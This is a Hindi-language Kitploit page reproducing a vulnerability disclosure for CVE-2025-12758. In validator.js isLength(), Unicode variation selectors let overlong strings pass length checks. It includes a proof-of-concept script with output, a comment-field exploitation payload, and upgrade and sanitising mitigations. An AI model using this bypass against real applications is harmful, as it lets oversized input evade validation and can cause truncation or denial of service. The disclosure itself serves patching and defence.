Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-12758 — CVE-2025-12758 का विस्तृत खुलासा PoC के साथ जो validator.js के isLength() में यूनिकोड वेरिएशन सेलेक्टर बाइपास को प्रदर्शित करता है, जिसमें मूल कारण विश्लेषण, शोषण परिदृश्य और शमन कदम शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/open-flaw/cve-2025-12758
भेद्यता विश्लेषणकोड विश्लेषणवेब सुरक्षापेपर और शोधलर्निंग और शिक्षा
GitHubopen-flaw/cve-2025-12758

CVE-2025-12758

CVE-2025-12758 का विस्तृत खुलासा PoC के साथ जो validator.js के isLength() में यूनिकोड वेरिएशन सेलेक्टर बाइपास को प्रदर्शित करता है, जिसमें मूल कारण विश्लेषण, शोषण परिदृश्य और शमन कदम शामिल हैं।

रिपॉजिटरी देखें
19 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-12758: Validator.js isLength() यूनिकोड वेरिएशन सेलेक्टर बाईपास

CVE ID: CVE-2025-12758
CVSS Score: 8.7 (HIGH)
Severity: HIGH
CWE: CWE-792 (एक या अधिक विशेष तत्वों की अपूर्ण फ़िल्टरिंग)
Published: नवंबर 26, 2025
Disclosed: अक्टूबर 19, 2025

भेद्यता अवलोकन

यह भेद्यता validator npm पैकेज के संस्करणों < 13.15.22 को प्रभावित करती है। isLength() फ़ंक्शन स्ट्रिंग लंबाई की गणना करते समय यूनिकोड वेरिएशन सेलेक्टर (\uFE0F, \uFE0E) को ध्यान में रखने में विफल रहता है, जिससे अनुचित इनपुट सत्यापन होता है।

प्रभाव

कोई एप्लिकेशन जो इनपुट सत्यापन के लिए isLength() का उपयोग करता है, वह इच्छित लंबाई से काफी अधिक लंबी स्ट्रिंग स्वीकार कर सकता है, जिसके परिणामस्वरूप संभावित रूप से:

  • डेटाबेस में डेटा ट्रंकेशन
  • अन्य सिस्टम घटकों में बफर ओवरफ़्लो
  • डिनायल-ऑफ़-सर्विस (DoS) हमले
  • इनपुट सत्यापन बाईपास

मूल कारण

isLength() फ़ंक्शन स्ट्रिंग लंबाई की गणना करते समय यूनिकोड वेरिएशन सेलेक्टर को ठीक से फ़िल्टर नहीं करता है। इन विशेष वर्णों (कंबाइनिंग मार्क्स) को स्ट्रिंग की दृश्य लंबाई में योगदान नहीं देना चाहिए, लेकिन JavaScript की String.length प्रॉपर्टी में गिना जाता है।

प्रूफ ऑफ कॉन्सेप्ट

सेटअप

root@kitploit:~
npm install [email protected]
node poc.js

कोड

POC isLength() फ़ंक्शन का परीक्षण करके भेद्यता को प्रदर्शित करता है:

root@kitploit:~
const validator = require('validator');

// सामान्य "test" स्ट्रिंग - सही ढंग से अस्वीकृत
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 3? ${validator.isLength('test', { max: 3 })}`);
// आउटपुट: Is "test" (String.length: 4) length ≤ 3? false

// सामान्य "test" स्ट्रिंग - सही ढंग से स्वीकृत
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 4? ${validator.isLength('test', { max: 4 })}`);
// आउटपुट: Is "test" (String.length: 4) length ≤ 4? true

// "test" जिसमें 4 वेरिएशन सेलेक्टर हैं - गलत तरीके से स्वीकृत
console.log(`Is "test️️️️" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length ≤ 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
// आउटपुट: Is "test️️️️" (String.length: 8) length ≤ 4? true ⚠️ कमजोर!

आउटपुट

root@kitploit:~
Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true

तीसरा आउटपुट भेद्यता को प्रदर्शित करता है: वास्तविक लंबाई 8 वाली एक स्ट्रिंग अधिकतम लंबाई 4 के लिए एक सत्यापन जांच पास करती है।

शोषण परिदृश्य

कोई एप्लिकेशन उपयोगकर्ता टिप्पणी सत्यापन लागू कर सकता है:

root@kitploit:~
const MAX_COMMENT_LENGTH = 100;

function validateComment(comment) {
  return validator.isLength(comment, { max: MAX_COMMENT_LENGTH });
}

const maliciousInput = 'a'.repeat(50) + '\uFE0F'.repeat(100);
// वास्तविक लंबाई: 150 वर्ण
// validator.isLength() गलत तरीके से लौटाता है: true ❌
// डेटाबेस दुर्भावनापूर्ण पेलोड स्वीकार करता है ⚠️

फिक्स

संस्करण 13.15.22 या बाद में अपग्रेड करें

root@kitploit:~
npm install [email protected]

पैच किया गया संस्करण यूनिकोड वेरिएशन सेलेक्टर को लंबाई गणना से बाहर करके उचित रूप से हैंडल करता है।

वैकल्पिक शमन (अस्थायी)

यदि आप तुरंत अपग्रेड नहीं कर सकते हैं, तो कस्टम लंबाई सत्यापन लागू करें:

root@kitploit:~
function safeIsLength(str, options = {}) {
  // सत्यापन से पहले यूनिकोड वेरिएशन सेलेक्टर हटाएं
  const cleanStr = str.replace(/[\uFE0E\uFE0F]/g, '');
  return validator.isLength(cleanStr, options);
}

संदर्भ

  • Snyk भेद्यता डेटाबेस: https://security.snyk.io/vuln/SNYK-JS-VALIDATOR-13653476
  • GitHub Gist (मूल प्रूफ): https://gist.github.com/koral--/ad31208b25b9e3d1e2e35f1d4d72572e
  • GitHub PR (फिक्स): https://github.com/validatorjs/validator.js/pull/2616
  • CVE रिकॉर्ड: https://www.cve.org/CVERecord?id=CVE-2025-12758

पता लगाना

जांचें कि क्या आपका एप्लिकेशन कमजोर है:

root@kitploit:~
npm audit --audit-level=high

validator पैकेज को संस्करण < 13.15.22 के साथ देखें।

श्रेय

भेद्यता खोजकर्ता: कारोल व्रोटनियाक

लाइसेंस

ISC

टूल डाउनलोड करें